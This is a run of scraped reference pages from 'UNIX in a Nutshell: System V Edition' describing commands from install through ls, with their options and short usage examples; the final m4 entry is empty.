Used primarily in makefiles to update files. install tries to locate an old version of file by searching user-supplied directories (or default directories such as /bin or /etc). file is then copied to the directory, overwriting the older version. Normally, if no older file exists, install does nothing.

Options

-c dir

Conditional copy; if file already exists in dir, do nothing; otherwise, copy file to dir.

-f dir

Forced copy; copy file to dir, whether or not file is already there.

-g group

Set group ID of new file to group (privileged users only).

-i

When searching for file, ignore default directories but search specified directories. Normally, both sets are searched (with user-supplied directories searched before defaults). -c and -f are invalid with -i.

-m mode

Set permissions of new file to mode.

-n dir

Place file in dir if it's not in any of the default directories.

-o

Save old version of file in OLD file instead of overwriting it.

-s

Suppress all messages except error messages.

-u user

Set owner of new file to user.

Previous: Reference: id | UNIX in a Nutshell: System V Edition | Next: Reference: ipcrm
Reference: id | Book Index | Reference: ipcrm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ipcrm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: install Chapter 2
UNIX Commands 		Next: Reference: ipcs

ipcrm

ipcrm [options]

Remove a message queue, semaphore set, or shared memory identifier as specified by the options. ipcrm is useful for freeing shared memory left behind by programs that failed to de-allocate the space. Use ipcs first to list items to remove.

Options

-m shmid

Remove shared memory identifier shmid.

-M shmkey

Remove shmid created with key shmkey.

-q msqid

Remove message queue identifier msqid.

-Q msgkey

Remove msqid created with key msgkey.

-s semid

Remove semaphore identifier semid.

-S semkey

Remove semid created with key semkey.

Previous: Reference: install | UNIX in a Nutshell: System V Edition | Next: Reference: ipcs
Reference: install | Book Index | Reference: ipcs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ipcs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ipcrm Chapter 2
UNIX Commands 		Next: Reference: ismpx

ipcs

ipcs [options]

Print data about active interprocess communication facilities.

Options

-m

Report on active shared memory segments.

-q

Report on active message queues.

-s

Report on active semaphores.

With the -m, -q, or -s options, only the specified interprocess facility is reported on. Otherwise information about all three is printed.

-a

Use all of the print options (short for -bcopt).

-b

Report maximum allowed number of message bytes, segment sizes, and number of semaphores.

-c

Report the creator's login name and group.

-Cfile

Read status from file instead of from /dev/kmem.

-Nlist

Use the argument for the named list instead of /stand/unix.

-o

Report outstanding usage.

-p

Report process numbers.

-t

Report time information.

Previous: Reference: ipcrm | UNIX in a Nutshell: System V Edition | Next: Reference: ismpx
Reference: ipcrm | Book Index | Reference: ismpx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ismpx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ipcs Chapter 2
UNIX Commands 		Next: Reference: join

ismpx

ismpx [option]

Test whether standard input is running under layers. (Command name comes from "Is the multiplexor running?") Output is either yes (exit status 0) or no (exit status 1). Useful for shell scripts that send programs to a windowing terminal or depend on screen size.

Option

-s

Suppress output and return exit status only.

Example shell script

if ismpx -s
then jwin
fi

Previous: Reference: ipcs | UNIX in a Nutshell: System V Edition | Next: Reference: join
Reference: ipcs | Book Index | Reference: join
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: join

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ismpx Chapter 2
UNIX Commands 		Next: Reference: jsh

join

join [options] file1 file2

Join the common lines of sorted file1 and sorted file2. (Read standard input if file1 is -.) The output contains the common field and the remainder of each line from file1 and file2. In the options below, n can be 1 or 2, referring to file1 or file2.

Options

-an

List unpairable lines in file n (or both if n is omitted).

-e s

Replace any empty output field with the string s.

-jn m

Join on the mth field of file n (or both files if n is omitted).

-o n.m

Each output line contains fields specified by file number n and field number m. The common field is suppressed unless requested.

-tc

Use character c as field separator for input and output.

Examples

Assuming the following input files:

% cat score
olga    81      91
rene    82      92
zack    83      93
% cat grade
olga    B       A
rene    B       A

List scores followed by grades, including unmatched lines:

% join -a score grade
olga 81 91 B A
rene 82 92 B A
zack 83 93

Pair each score with its grade:

% join -o 1.1 1.2 2.2 1.3 2.3 score grade
olga 81 B 91 A
rene 82 B 92 A

Previous: Reference: ismpx | UNIX in a Nutshell: System V Edition | Next: Reference: jsh
Reference: ismpx | Book Index | Reference: jsh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: jsh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: join Chapter 2
UNIX Commands 		Next: Reference: jterm

jsh

jsh [options] [arguments]

Job control version of sh (the Bourne shell). This provides control of background and foreground processes for the standard shell. See Section 4.

Previous: Reference: join | UNIX in a Nutshell: System V Edition | Next: Reference: jterm
Reference: join | Book Index | Reference: jterm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: jterm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: jsh Chapter 2
UNIX Commands 		Next: Reference: jwin

jterm

jterm

Reset layer of windowing terminal after a program changes the terminal attributes of the layer. Used only under layers. Returns 0 on success; 1 otherwise.

Previous: Reference: jsh | UNIX in a Nutshell: System V Edition | Next: Reference: jwin
Reference: jsh | Book Index | Reference: jwin
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: jwin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: jterm Chapter 2
UNIX Commands 		Next: Reference: keylogin

jwin

jwin

Print size of current window in bytes. Used only under layers.

Previous: Reference: jterm | UNIX in a Nutshell: System V Edition | Next: Reference: keylogin
Reference: jterm | Book Index | Reference: keylogin
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: keylogin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: jwin Chapter 2
UNIX Commands 		Next: Reference: keylogout

keylogin

keylogin

Prompt user for a password, then use it to decrypt the person's secret key. This key is used by secure network services (e.g., NFS). keylogin is needed only if the user was not prompted for a password upon logging in. See also chkey and keylogout.

Previous: Reference: jwin | UNIX in a Nutshell: System V Edition | Next: Reference: keylogout
Reference: jwin | Book Index | Reference: keylogout
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: keylogout

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: keylogin Chapter 2
UNIX Commands 		Next: Reference: kill

keylogout

keylogout [option]

Revoke access to (delete) the secret key used by secure network services (e.g., NFS). See also chkey and keylogin.

Option

-f

Forget the root key. If specified on a server, NFS security will be broken. Use with care.

Previous: Reference: keylogin | UNIX in a Nutshell: System V Edition | Next: Reference: kill
Reference: keylogin | Book Index | Reference: kill
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: kill

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: keylogout Chapter 2
UNIX Commands 		Next: Reference: ksh

kill

kill [options] IDs

Terminate one or more process IDs. You must own the process or be a privileged user. This command is similar to the kill command that is built into the Bourne, Korn, and C shells. A minus sign before an ID specifies a process group ID. (The built-in version doesn't allow process group IDs, but it does allow job IDs.)

Options

-l

List the signal names. (Used by itself.)

-signal

The signal number (from ps -f) or name (from kill -l). With a signal number of 9, the kill is absolute.

Previous: Reference: keylogout | UNIX in a Nutshell: System V Edition | Next: Reference: ksh
Reference: keylogout | Book Index | Reference: ksh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ksh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: kill Chapter 2
UNIX Commands 		Next: Reference: layers

ksh

ksh [options] [arguments]

Korn shell command interpreter. See Section 4 for more information, including command-line options.

Previous: Reference: kill | UNIX in a Nutshell: System V Edition | Next: Reference: layers
Reference: kill | Book Index | Reference: layers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: layers

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ksh Chapter 2
UNIX Commands 		Next: Reference: ld

layers

layers [options] [layers_program]

A layer multiplexor for windowing terminals. layers manages asynchronous windows on a windowing terminal. layers_program is a file containing a firmware patch that layers downloads to the terminal (before layers are created or startup commands are executed).

Options

-d

Print sizes of the text, data, and bss portions of a downloaded firmware patch on standard error.

-D

Print debugging messages on standard error.

-f file

Initialize layers with a configuration given by file. Each line of file is a layer to be created and has the format x1 y1 x2 y2 commands, specifying the origin, the opposite corner, and start up commands. E.g.:

10 10 800 240 date; who; exec $SHELL

-h list

Supply a comma-separated list of STREAMS modules to push onto a layer.

-m size

Set data part of xt packets to maximum size (32-252).

-p

Print downloading protocol statistics and a trace of a downloaded firmware patch on standard error.

-s

Report protocol statistics on standard error after exiting layers.

-t

Turn on xt driver packet tracing and produce a trace dump on standard error after exiting layers.

Previous: Reference: ksh | UNIX in a Nutshell: System V Edition | Next: Reference: ld
Reference: ksh | Book Index | Reference: ld
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ld

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: layers Chapter 2
UNIX Commands 		Next: Reference: ldd

ld

ld [options] objfiles

Combine several objfiles, in the specified order, into a single executable object module (a.out by default). ld is the link editor and is often invoked automatically by compiler commands such as cc.

Options

-a

Force default behavior for static linking (generate an object file and list undefined references). Do not use with -r.

-b

Ignore special processing for shared reference symbols (dynamic linking only); output becomes more efficient but less sharable.

-B mode

See description under cc.

-B symbolic

In dynamic linking, bind a symbol to its local definition, not to its global definition.

-d

Force the definition of common storage.

-d[c]

Link dynamically (c is y) or statically (c in n); dynamic linking is the default.

-e symbol

Set symbol as the address of the output file's entry point.

-G

In dynamic linking, create a shared object and allow undefined symbols.

-h name

Use name as the shared object file to search for during dynamic linking (default is UNIX object file).

-I name

Use name as the pathname of the loader (interpreter) to write into the program header. Default is none (static) or /usr/lib/libc.so.1 (dynamic).

-lx

Search a library named lib x.so or lib x.a (the placement of this option on the line affects when the library is searched).

-L dir

Search directory dir before standard search directories (this option must precede -l).

-m

List a memory profile for input/output sections.

-M mapfile

Invoke ld directives from mapfile (-M messes up the output and is discouraged).

-N

Put the data section immediately after the text section. (SVR3 only.)

-n

Create output file as read-only.

-ofile

Send the output to file (default is a.out).

-Qc

List version information about ld in the output (c = y, the default) or do not list (c = n).

-r

Allow output to be subject to another ld.

-s

Remove symbol table and relocation entries.

-t

Suppress warning about multiply-defined symbols of unequal size.

-u symbol

Enter symbol in symbol table; useful when loading from an archive library. symbol must precede the library that defines it (so -u must precede -l).

-V

Print the version of ld.

-YP, dirlist

Specify a comma-separated list of directories to use in place of the default search directories (see also -L).

-z defs | nodefs | text

Specify nodefs to allow undefined symbols. The default, defs, treats undefined symbols as a fatal error. Use text to produce an error when there are nonwritable relocations.

-x

Enter only external symbols in output.

-X

Save all local symbols except those whose first letter is L.

-ysym

Indicate each file in which sym appears, its type and whether the file defines or references it.

-z

Arrange the file to be loaded on demand from the resulting executable file.

Previous: Reference: layers | UNIX in a Nutshell: System V Edition | Next: Reference: ldd
Reference: layers | Book Index | Reference: ldd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ldd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ld Chapter 2
UNIX Commands 		Next: Reference: lex

ldd

ldd [option] file

List dynamic dependencies; that is, list shared objects that would be loaded if file were executed. (If a valid file needs no shared objects, ldd succeeds but produces no output.) In addition, ldd's options can be used to show unresolved symbol references that would result from running file. Specify only one option.

Options

-d

Check references to data objects only.

-r

Check references to data objects and to functions.

Previous: Reference: ld | UNIX in a Nutshell: System V Edition | Next: Reference: lex
Reference: ld | Book Index | Reference: lex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lex

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ldd Chapter 2
UNIX Commands 		Next: Reference: line

lex

lex [options] [files]

Generate a lexical analysis program (named lex.yy.c) based on the regular expressions and C statements contained in one or more input files. See also yacc and the Nutshell Handbook lex & yacc.

Options

-c

file's program statements are in C (default).

-f

Use faster compilation (limited to small programs).

-n

Suppress the output summary.

-Qc

Print version information in lex.yy.c (if c = y) or suppress information (if c = n, the default).

-t

Write program to standard output, not lex.yy.c.

-v

Print a summary of machine-generated statistics.

-V

Print version information on standard error.

Previous: Reference: ldd | UNIX in a Nutshell: System V Edition | Next: Reference: line
Reference: ldd | Book Index | Reference: line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: line

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lex Chapter 2
UNIX Commands 		Next: Reference: lint

line

line

Read the next line from standard input and write it to standard output. Exit status is 1 upon EOF. Typically used in shell scripts to read from the terminal.

Example

Print the first two lines of output from who:

who | ( line ; line )

Previous: Reference: lex | UNIX in a Nutshell: System V Edition | Next: Reference: lint
Reference: lex | Book Index | Reference: lint
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lint

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: line Chapter 2
UNIX Commands 		Next: Reference: ln

lint

lint [options] files

Detect bugs, portability problems, and other possible errors in the specified C programs. By default, lint uses definitions in the C library llib-lc.ln. If desired, output from .c files can be saved in "object files" having a .ln suffix. A second lint pass can be invoked on .ln files and libraries for further checking. lint also accepts the cc options -D, -I, -U, and -X. See also the Nutshell Handbook, Checking C Programs with lint. Note: This command checks programs written in ANSI C; use /usr/ucb/lint if you want to check programs written in Kernighan and Ritchie's C. Note also that options -a, -b, -h, and -x have exactly the opposite meaning in the versions for BSD and System V.

Options

-a

Ignore long values assigned to variables that aren't long.

-b

Ignore break statements that cannot be reached.

-c

Don't execute the second pass of lint; save output from first pass in .ln files. (Same as BSD -i option.)

-Cname

Create a lint library named llib-l name.ln.

-F

Print files using full pathname, not just the filename.

-h

Don't test for bugs, bad style, or extraneous information.

-k

Re-enable warnings that are normally suppressed by directive /* LINTED [message] */, and print the additional message (if specified).

-Ldir

Search for lint libraries in directory dir before searching standard directories.

-lx

Use library llib-l x.ln in addition to llib-lc.ln.

-m

Ignore extern declarations that could be static.

-n

Do not check for compatibility.

-o lib

Create a lint library named llib-l.lib.ln from the output of the first pass of lint.

-p

Check for portability to variants of C.

-Rfile

Place .ln output (from a .c file) in file, for use by cxref.

-s

Produce short (one-line) diagnostics. Solaris 2.0 only.

-u

Ignore functions or external variables that are undefined or unused.

-v

Ignore unused arguments within functions; same as specifying the directive /* ARGSUSED */.

-V

Print product name and release on standard error.

-Wfile

Same as -R, except file is prepared for cflow.

-x

Ignore unused variables referred to by extern declarations.

-y

Same as using the directive /* LINTLIBRARY */, which is the same as supplying options -v and -x.

Previous: Reference: line | UNIX in a Nutshell: System V Edition | Next: Reference: ln
Reference: line | Book Index | Reference: ln
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ln

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lint Chapter 2
UNIX Commands 		Next: Reference: login

ln

ln [options] file1 file2
ln [options] files directory

Create pseudonyms (links) for files, allowing them to be accessed by different names. In the first form, link file1 to file2, where file2 is usually a new filename. If file2 is an existing file, it is overwritten; if file2 is an existing directory, a link named file1 is created in that directory. In the second form, create links in directory, each link having the same name as the file specified.

Options

-f

Force the link to occur (don't prompt for overwrite permission).

-n

Do not overwrite existing files.

-s

Create a symbolic link. This lets you link across file systems and also see the name of the link when you run ls -l (otherwise there's no way to know the name that a file is linked to).

Previous: Reference: lint | UNIX in a Nutshell: System V Edition | Next: Reference: login
Reference: lint | Book Index | Reference: login
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: login

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ln Chapter 2
UNIX Commands 		Next: Reference: logname

login

login [options]

Sign on and identify yourself to the system. At the beginning of each terminal session, the system prompts you for your username and, if relevant, a password. The options are usually not used.

Options

user

Sign on as user (instead of being prompted).

-dtty

Specify the pathname of the tty that serves as the login port.

var=value

When specified after the username, assign a value to one or more environment variables. PATH and SHELL can't be changed.)

Previous: Reference: ln | UNIX in a Nutshell: System V Edition | Next: Reference: logname
Reference: ln | Book Index | Reference: logname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: logname

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: login Chapter 2
UNIX Commands 		Next: Reference: lorder

logname

logname

Display your login name. (Print the value of the LOGNAME environment variable located in /etc/profile.)

Previous: Reference: login | UNIX in a Nutshell: System V Edition | Next: Reference: lorder
Reference: login | Book Index | Reference: lorder
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lorder

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: logname Chapter 2
UNIX Commands 		Next: Reference: lp

lorder

lorder objfiles

Take object filenames (e.g., files with .o suffix) and output a list of related pairs. The first file listed includes references to external identifiers that are defined in the second. lorder output can be sent to tsort to make link editing of an archive more efficient.

Example

To produce an ordered list of object files, and replace them in the library program_arch (provided they are newer):

ar cru program_arch `lorder *.o | tsort`

Previous: Reference: logname | UNIX in a Nutshell: System V Edition | Next: Reference: lp
Reference: logname | Book Index | Reference: lp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lorder Chapter 2
UNIX Commands 		Next: Reference: lpq

lp

lp [options] [files]

Send files to the printer. To send standard input, specify - as one of the files.

Options

-c

Copy files to print spooler; if changes are made to file while it is still queued for printing, the printout is unaffected.

-d dest

Send output to destination printer named dest.

-d any

Used after -f or -S to print the request on any printer that supports the given name.

-f name

Print request on preprinted form name. name references printer attributes set by the administrative command lpforms.

-H action

Print according to the named action: hold (notify before printing), resume (resume a held request), immediate (print next; privileged users only).

-i IDs

Override lp options used for request IDs currently in the queue; specify new lp options after -i. For example, change the number of copies sent.

-m

Send mail after files are printed.

-n number

Specify the number of copies to print.

-o options

Set one or more printer-specific options. Standard options include:

nobanner

Omit banner page (separator) from request.

nofilebreak

Suppress formfeeds between files.

cpi=n

Print n characters per inch. n can also be pica, elite, or compressed.

lpi=n

Print n lines per inch.

length=n

Print pages n units long; e.g., 11i (inches), 66 (lines).

width=n

Print pages n units wide; e.g., 8.5i (inches) 72 (columns).

stty=list

Specify a quoted list of stty options.

-P list

Print only the page numbers specified in list.

-q n

Print request with priority level n (39 = lowest).

-r

Don't adapt request if content isn't suitable; reject instead. (Obscure; used only with -T.)

-s

Suppress messages.

-S name

Use the named print wheel or character set for printing.

-t title

Use title on the printout's banner page.

-T content

Send request to a printer that supports content (default is simple; an administrator sets content via lpadmin -I).

-w

Write a terminal message after files are printed (same as -m if user isn't logged on). Confirm the printing with a message on the user's terminal.

-y mode

Print according to locally-defined modes.

Examples

Send mail after printing five copies of report:

lp -n 5 -m report

Format and print thesis; print title too:

nroff -ms thesis | lp - title

Previous: Reference: lorder | UNIX in a Nutshell: System V Edition | Next: Reference: lpq
Reference: lorder | Book Index | Reference: lpq
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lpq

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lp Chapter 2
UNIX Commands 		Next: Reference: lpr

lpq

/usr/ucb/lpq [options] [job#s] [users]

Show the printer queue. Standard SVR4 uses lpstat.

Previous: Reference: lp | UNIX in a Nutshell: System V Edition | Next: Reference: lpr
Reference: lp | Book Index | Reference: lpr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lpr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lpq Chapter 2
UNIX Commands 		Next: Reference: lprm

lpr

/usr/ucb/lpr [options] [files]

Send files to the printer. Standard SVR4 uses lp.

Previous: Reference: lpq | UNIX in a Nutshell: System V Edition | Next: Reference: lprm
Reference: lpq | Book Index | Reference: lprm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lprm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lpr Chapter 2
UNIX Commands 		Next: Reference: lprof

lprm

/usr/ucb/lprm [options] [job#s] [users]

Remove requests from printer queue. Standard SVR4 uses cancel.

Previous: Reference: lpr | UNIX in a Nutshell: System V Edition | Next: Reference: lprof
Reference: lpr | Book Index | Reference: lprof
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lprof

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lprm Chapter 2
UNIX Commands 		Next: Reference: lpstat

lprof

lprof [options]
lprof -m files [-T] -d out

Display a program's profile data on a line-by-line basis. Data includes a list of source files, each source code line (with line numbers), and the number of times each line was executed. By default, lprof interprets the profile file prog.cnt. This file is generated by specifying cc -ql when compiling a program or when creating a shared object named prog (default is a.out). The PROFOPTS environment variable can be used to control profiling at run time. See also prof and gprof.

Options

-c file

Read input profile file instead of prog.cnt.

-d out

Store merged profile data in file out. Must be used with -m.

-I dir

Search for include files in dir as well as in the default place (/usr/include).

-m files

Merge several profile files and total the execution counts. files are of the form f1.cnt, f2.cnt, f3.cnt , etc., where each file contains the profile data from a different run of the same program. Used with -d.

-o prog

Look in the profile file for a program named prog instead of the name used when the profile file was created. -o is needed when files have been renamed or moved.

-p

Print the default listing; useful with -r and -s.

-r list

Used with -p to print only the source files given in list.

-s

For each function, print the percentage of code lines that are executed.

-T

Ignore timestamp of executable files being profiled. Normally, times are checked to insure that the various profiles were made from the same version of an executable.

-V

Print the version of lprof on standard error.

-x

Omit execution counts. For lines that executed, show only the line numbers; for lines that didn't execute, print the line number, the symbol [U], and the source line.

Previous: Reference: lprm | UNIX in a Nutshell: System V Edition | Next: Reference: lpstat
Reference: lprm | Book Index | Reference: lpstat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lpstat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lprof Chapter 2
UNIX Commands 		Next: Reference: lptest

lpstat

lpstat [options]

Print the lp print queue status. With options that take a list argument, omitting the list produces all information for that option. list can be separated by commas or, if enclosed in double quotes, by spaces.

Options

-a [list]

Show whether the list of printer or class names is accepting requests.

-c [list]

Show information about printer classes named in list.

-d

Show the default printer destination.

-D

Use after -p to show a brief printer description.

-f [list]

Verify that the list of forms is known to lp.

-l

Use after -f to describe available forms, after -p to show printer configurations, or after -S to describe printers appropriate for the specified character set or print wheel.

-o [list]

Show the status of output requests. list contains printer names, class names, or request IDs.

-p [list]

Show the status of printers named in list.

-r

Show whether the print scheduler is on or off.

-R

Show the job's position in the print queue.

-s

Summarize the print status (shows almost everything).

-S [list]

Verify that the list of character sets or print wheels is known to lp.

-t

Show all status information (reports everything).

-u [list]

Show request status for users on list. list can be:

user

user on local machine.

all

All users on local machine.

host!user

user on machine host.

host!all

All users on host.

all! user

user not on local machine.

all!all

All users not on local machine.

-v [list]

Show device associated with each printer named in list.

Previous: Reference: lprof | UNIX in a Nutshell: System V Edition | Next: Reference: lptest
Reference: lprof | Book Index | Reference: lptest
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: lptest

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lpstat Chapter 2
UNIX Commands 		Next: Reference: ls

lptest

/usr/ucb/lptest [length [n]]

Display all 96 printable ASCII characters on the standard output. Characters are printed in each position, forming a "ripple pattern." You can specify the output line length (default is 79) and display n lines of output (default is 200). lptest is useful for testing printers and terminals or for running shell scripts with dummy input.

Previous: Reference: lpstat | UNIX in a Nutshell: System V Edition | Next: Reference: ls
Reference: lpstat | Book Index | Reference: ls
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ls

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: lptest Chapter 2
UNIX Commands 		Next: Reference: m4

ls

ls [options] [names]

If no names are given, list the files in the current directory. With one or more names, list files contained in a directory name or that match a file name. names can include filename metacharacters. The options let you display a variety of information in different formats. The most useful options include -F, -R, -l, and -s. Some options don't make sense together; e.g., -u and -c.

Options

-a

List all files, including the normally hidden . files.

-b

Show nonprinting characters in octal.

-c

List files by creation/modification time.

-C

List files in columns (the default format).

-d

List only the directory name, not its contents.

-f

Interpret each name as a directory (files are ignored).

-F

Flag filenames by appending / to directories, * to executable files, and @ to symbolic links. @ to symbolic links, and = to sockets.

-g

Like -l, but omit owner name (show group). Add group name to -l listing.

-i

List the inode for each file.

-l

Long format listing (includes permissions, owner, size, modification time, etc.).

-L

List the file or directory referenced by a symbolic link rather than the link itself.

-m

Merge the list into a comma-separated series of names.

-n

Like -l, but use GID and UID numbers instead of owner and group names.

-o

Like -l, but omit group name (show owner).

-p

Mark directories by appending / to them.

-q

Show nonprinting characters as ?.

-r

List files in reverse order (by name or by time).

-R

Recursively list subdirectories as well as current directory.

-s

Print size of the files in blocks. in kilobytes.

-t

List files according to modification time (newest first).

-u

List files according to the file access time.

-x

List files in rows going across the screen.

-1

Print one entry per line of output.

Examples

List all files in the current directory and their sizes; use multiple columns and mark special files:

ls -asCF

List the status of directories /bin and /etc:

ls -ld /bin /etc

List C source files in the current directory, the oldest first:

ls -rt *.c

Count the files in the current directory:

ls | wc -l

Previous: Reference: lptest | UNIX in a Nutshell: System V Edition | Next: Reference: m4
Reference: lptest | Book Index | Reference: m4
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: m4

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ls Chapter 2
UNIX Commands 		Next: Reference: m4

m4

m4 [options] [files]

Previous: Reference: ls | UNIX in a Nutshell: System V Edition | Next: Reference: m4
Reference: ls | Book Index | Reference: m4
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: m4

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: m4 Chapter 2
